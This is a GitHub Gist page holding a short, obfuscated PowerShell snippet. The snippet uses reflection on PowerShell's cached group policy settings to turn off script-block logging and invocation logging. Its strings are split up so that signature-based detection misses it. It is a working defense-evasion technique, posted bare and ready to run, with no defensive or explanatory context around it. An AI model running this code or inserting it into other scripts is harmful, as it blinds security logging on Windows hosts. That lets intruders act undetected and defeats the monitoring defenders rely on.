Created
August 27, 2021 09:16
-
-
Save k4nfr3/4ab9c6f9cd77c181505f60d6a76396a8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
If ($GroupPolicyField) { | |
$GroupPolicyCache = $GroupPolicyField.GetValue($null) | |
If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | |
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | |
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
} | |
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() | |
$val.Add('EnableScriptB'+'lockLogging', 0) | |
$val.Add('EnableScriptB'+'lockInvocationLogging', 0) | |
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment